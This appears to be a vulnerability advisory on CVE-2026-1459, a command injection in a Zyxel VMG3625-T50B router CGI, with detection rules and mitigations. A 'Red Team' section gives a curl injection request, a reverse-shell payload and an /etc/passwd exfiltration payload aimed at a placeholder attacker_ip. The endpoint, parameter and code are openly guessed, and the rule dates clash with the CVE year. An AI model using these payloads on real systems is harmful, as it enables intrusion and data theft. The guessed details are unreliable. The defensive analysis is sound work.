CVE-2026-1459

Executive Summary

CVE-2026-1459 is a post-authentication command injection vulnerability in the TR-369 certificate download CGI program of the Zyxel VMG3625-T50B firmware. An authenticated attacker with administrator privileges can exploit this flaw to execute arbitrary OS commands on the affected device. The vulnerability has a CVSS score of 7.2 (High), indicating significant impact on confidentiality, integrity, and availability. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, suggesting low exploitation activity in the wild, but the risk remains high for targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): High – The attacker must have administrator-level access to the device.
• User Interaction (UI): None – No user interaction is needed.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – Full system compromise, leading to data exposure.
• Integrity (I): High – Full system compromise, allowing data modification.
• Availability (A): High – Full system compromise, potentially causing denial of service.

Threat Level: High. Although the EPSS score is low, the impact of successful exploitation is severe, granting full control over the device.

Deep Dive & Mechanics

The vulnerability resides in the TR-369 certificate download CGI program. TR-369 is a protocol used for remote management of CPE devices. The CGI program likely handles certificate download requests without proper sanitization of user-supplied input. An authenticated administrator can inject OS commands into parameters passed to the CGI script, which are then executed by the underlying system.

Root Cause: The CGI program fails to validate or sanitize input before passing it to a system call (e.g., system(), exec(), or popen()). This allows an attacker to append arbitrary commands using shell metacharacters such as ;, |, &, or backticks.

Attack Flow:

1. Attacker authenticates to the device with admin credentials.
2. Attacker sends a crafted HTTP request to the vulnerable CGI endpoint (e.g., /cgi-bin/tr369_cert_download.cgi).
3. The request includes malicious input in a parameter (e.g., cert_name=test;id).
4. The CGI program executes the command, including the injected payload.
5. The attacker gains remote code execution on the device.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code
char cmd[256];
snprintf(cmd, sizeof(cmd), "download_cert %s", user_input);
system(cmd);

A patched version would sanitize the input or use safer functions:

// Patched code (example)
char cmd[256];
// Validate input: only allow alphanumeric and specific characters
if (!is_valid_input(user_input)) {
    return error;
}
snprintf(cmd, sizeof(cmd), "download_cert %s", user_input);
system(cmd);

Or better, avoid shell execution entirely:

// Patched code (example)
// Use execve with a whitelist of allowed commands
char *args[] = {"/usr/bin/download_cert", user_input, NULL};
execve(args[0], args, NULL);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for the Zyxel VMG3625-T50B device.
• Network access to the device's management interface.

Exploitation Steps:

1. Authenticate to the device's web interface.
2. Identify the vulnerable CGI endpoint (e.g., /cgi-bin/tr369_cert_download.cgi).
3. Craft a POST request with command injection in a parameter (e.g., cert_name).
4. Execute the request using a tool like curl:

curl -X POST -d "cert_name=test;id" -u admin:password http://192.168.1.1/cgi-bin/tr369_cert_download.cgi

5. Observe the output of the id command in the response.

Advanced Payloads:

• Reverse shell: cert_name=test;bash -i >& /dev/tcp/attacker_ip/4444 0>&1
• Data exfiltration: cert_name=test;cat /etc/passwd | curl -X POST -d @- http://attacker_ip/exfil

Blue Team

Detection:

• Monitor HTTP requests to /cgi-bin/tr369_cert_download.cgi for unusual parameters.
• Look for shell metacharacters (;, |, &, `) in POST data.
• Alert on multiple failed authentication attempts followed by suspicious CGI requests.

Hunting:

• Search logs for cert_name parameter containing non-alphanumeric characters.
• Correlate admin login events with subsequent CGI requests.

Mitigation:

• Restrict admin access to trusted IPs only.
• Implement Web Application Firewall (WAF) rules to block command injection patterns.
• Monitor for outbound connections from the device to unknown IPs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgi-bin/tr369_cert_download.cgi with parameters containing shell metacharacters.
  • Outbound connections from the device to unusual IPs on ports like 4444, 8080, etc.
• File IOCs:
  • Unexpected files in /tmp/ or /var/run/ created by injected commands.
  • Modified system binaries or scripts.
• Process IOCs:
  • Unusual processes spawned by the web server (e.g., bash, nc, python).
• Log IOCs:
  • Log entries showing command execution in CGI context (e.g., system("download_cert test;id")).

Detection Engineering

YARA Rule

rule CVE_2026_1459_Command_Injection {
    meta:
        description = "Detects command injection attempts against Zyxel VMG3625-T50B TR-369 CGI"
        author = "Valters IT"
        date = "2025-04-14"
        cve = "CVE-2026-1459"
    strings:
        $cmd_inject = /cert_name=[^&]*[;&|`$]/
        $cgi_path = "/cgi-bin/tr369_cert_download.cgi"
    condition:
        $cgi_path and $cmd_inject
}

Sigma Rule

title: CVE-2026-1459 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable TR-369 CGI endpoint with command injection patterns
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path: "/cgi-bin/tr369_cert_download.cgi"
        cs-uri-query|contains: 
            - "cert_name=*;*"
            - "cert_name=*|*"
            - "cert_name=*&*"
            - "cert_name=*`*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in certificate names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-1459 Command Injection Attempt"; flow:to_server; content:"/cgi-bin/tr369_cert_download.cgi"; http_uri; pcre:"/cert_name=[^&]*[;&|`$]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict administrative access to trusted IP addresses only.
2. Disable the TR-369 certificate download CGI if not required.
3. Implement strict input validation on the vulnerable parameter (e.g., allow only alphanumeric characters).
4. Apply vendor patch as soon as it becomes available.

Long-term Measures:

• Upgrade to a patched firmware version when released.
• Conduct regular security audits of CGI programs.
• Use a Web Application Firewall (WAF) to block command injection attempts.
• Monitor for any suspicious activity on the device.

Workarounds:

• If the feature is not needed, remove or disable the CGI binary.
• Use network segmentation to limit exposure of the management interface.

Valters IT